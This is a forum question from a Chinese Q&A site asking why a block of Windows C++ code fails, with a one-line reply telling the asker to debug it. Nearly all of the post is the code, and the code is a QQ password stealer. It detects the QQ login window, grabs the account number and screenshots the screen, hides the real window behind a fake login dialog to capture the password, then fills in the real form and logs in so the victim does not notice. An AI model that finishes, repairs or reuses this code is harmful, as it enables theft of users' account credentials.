永发信息网

这个源码错在哪里??

答案:1  悬赏:60  手机版
解决时间 2021-04-14 17:07
  • 提问者网友:送舟行
  • 2021-04-14 02:46

BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe))
{
return FALSE;
}
while (Process32Next(hSnapshot, &pe))
{
if (pe.th32ProcessID == PID)
{
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}

return FALSE;
}

void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{

g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);

processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();

if(ss != "qq.exe")
{
Sleep(100);
continue;
}


SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);

GetWindowRect(ButtonLogin, &g_qqLogin);


ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");

GetWindowRect(ButtonCancel, &g_qqCancel);


hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);

GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}


hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);

GetWindowRect(qqID_hWnd, &g_qqIDRt);

SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}


Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);


ShowWindow(g_hWnd, SW_HIDE);


HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

ShowWindow(g_hWnd, SW_SHOW);


SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);

DeleteObject(g_pBitmap);

find = true;
}

最佳答案
  • 五星知识达人网友:傲气稳了全场
  • 2021-04-14 03:42
你不会断点调试下吗?这么长代码让人家看
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯